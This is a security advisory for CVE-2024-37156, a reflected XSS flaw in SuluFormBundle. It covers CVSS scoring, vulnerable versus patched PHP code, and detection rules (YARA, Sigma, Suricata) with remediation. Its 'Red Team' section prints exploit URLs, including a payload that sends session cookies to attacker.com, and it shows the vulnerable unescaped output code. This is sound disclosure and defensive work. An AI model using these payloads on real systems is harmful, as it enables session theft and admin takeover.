CVE-2024-37156

Executive Summary

CVE-2024-37156 is a reflected Cross-Site Scripting (XSS) vulnerability in the SuluFormBundle, a component of the Sulu CMS. The vulnerability exists in the TokenController where the formName GET parameter is not sanitized before being reflected in the HTML response. An attacker can craft a malicious URL containing JavaScript payloads in the formName parameter. When a victim clicks the link, the script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is fixed in version 2.5.3 of the bundle. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.

Supply Chain & Package Security

This vulnerability affects the SuluFormBundle, a PHP package distributed via Composer. Organizations using Sulu CMS with the form bundle should verify their composer.json for the sulu/sulu-form-bundle package. The supply chain risk is moderate; the fix is available in the official repository, and no malicious packages have been reported. Ensure that the package is updated from a trusted source (e.g., Packagist) and that the composer.lock file is reviewed for integrity.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): Required – The victim must click a crafted link.
• Scope (S): Changed – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited data modification possible.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of authentication and low complexity makes it a viable vector for phishing campaigns.

Deep Dive & Mechanics

The vulnerability resides in the TokenController of the SuluFormBundle. The controller handles requests to generate CSRF tokens for dynamic forms. The formName parameter is taken directly from the GET request and inserted into an HTML input field without proper sanitization or encoding.

Vulnerable Code Path:

1. User sends a GET request to /admin/token?formName=<payload>.
2. The controller retrieves the formName value.
3. The value is echoed into a hidden input field: <input type="hidden" name="formName" value="<payload>">.
4. If the payload contains JavaScript (e.g., "><script>alert(1)</script>), it breaks out of the attribute and executes.

Root Cause: Lack of output encoding. The formName parameter is not HTML-entity encoded before being rendered in the response.

Impact: An attacker can execute arbitrary JavaScript in the context of the Sulu admin interface. This can lead to:

• Session cookie theft (if HttpOnly flag is missing).
• CSRF token theft.
• Admin account takeover.
• Defacement of the admin panel.

Vulnerable vs. Patched Code

Vulnerable Code (SuluFormBundle < 2.5.3):

// TokenController.php
public function tokenAction(Request $request)
{
    $formName = $request->query->get('formName');
    // ... generate token ...
    return new Response('<input type="hidden" name="formName" value="' . $formName . '">');
}

Patched Code (SuluFormBundle >= 2.5.3):

// TokenController.php
public function tokenAction(Request $request)
{
    $formName = $request->query->get('formName');
    // ... generate token ...
    $escapedFormName = htmlspecialchars($formName, ENT_QUOTES, 'UTF-8');
    return new Response('<input type="hidden" name="formName" value="' . $escapedFormName . '">');
}

The fix uses htmlspecialchars() to encode special characters, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running Sulu CMS with SuluFormBundle < 2.5.3.
• The victim must be logged into the Sulu admin interface.

Exploit Payload:

https://target.com/admin/token?formName=%22%3E%3Cscript%3Ealert(1)%3C/script%3E

URL-decoded: "><script>alert(1)</script>

Step-by-Step:

1. Craft a malicious URL with a JavaScript payload in the formName parameter.
2. Deliver the link via phishing email, social media, or other means.
3. When the victim clicks the link, the script executes in their browser.

Advanced Payload (Session Hijacking):

https://target.com/admin/token?formName=%22%3E%3Cscript%3Efetch('https://attacker.com/steal?cookie='%2Bdocument.cookie)%3C/script%3E

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests to /admin/token with suspicious formName parameters containing <script>, onerror, or other XSS patterns.
• Use WAF rules to block requests with HTML/JavaScript in the formName parameter.

Defense:

• Immediately update to SuluFormBundle 2.5.3 or later.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Ensure the HttpOnly flag is set on session cookies.
• Use input validation to reject non-alphanumeric characters in formName.

Indicators of Compromise (IOCs)

• URL Pattern: /admin/token?formName=* with encoded HTML/JavaScript.
• HTTP Request: GET requests to /admin/token with formName containing <script>, %3Cscript%3E, or similar.
• Log Entry: GET /admin/token?formName=%22%3E%3Cscript%3E... in access logs.
• Network Traffic: Outbound connections to attacker-controlled domains from the Sulu admin interface.
• File Hash (Patched): composer show sulu/sulu-form-bundle should return version 2.5.3 or higher.

Detection Engineering

YARA Rule

rule CVE_2024_37156_XSS_Detection {
    meta:
        description = "Detects XSS attempts targeting CVE-2024-37156 in SuluFormBundle"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-37156"
    strings:
        $xss_payload = /formName=[^&]*%3Cscript%3E/i
        $xss_payload2 = /formName=[^&]*<script>/i
        $xss_payload3 = /formName=[^&]*onerror/i
        $xss_payload4 = /formName=[^&]*onload/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-37156 SuluFormBundle XSS Attempt
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6e
status: experimental
description: Detects attempts to exploit reflected XSS in SuluFormBundle TokenController
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/admin/token'
        cs-uri-query|contains|any:
            - '<script>'
            - '%3Cscript%3E'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of form names containing 'script' (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-37156 SuluFormBundle XSS Attempt"; flow:to_server; http.method; content:"GET"; http.uri; content:"/admin/token"; http.uri; content:"formName"; pcre:"/formName=[^&]*(<script>|%3Cscript%3E|onerror|onload)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the SuluFormBundle to version 2.5.3 or later using Composer:

   composer require sulu/sulu-form-bundle:^2.5.3
   

2. Verify the update by checking the installed version:

   composer show sulu/sulu-form-bundle
   

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
• Enforce Content Security Policy (CSP) headers:

  Header set Content-Security-Policy "default-src 'self'; script-src 'self';"
  

• Conduct regular security audits of third-party dependencies.
• Train developers on secure coding practices, especially output encoding.

Workaround (if patching is not immediately possible):

• Add a reverse proxy rule to reject requests to /admin/token with non-alphanumeric characters in the formName parameter.
• Disable the form functionality temporarily if not critical.

Valters IT
Securing Digital Frontiers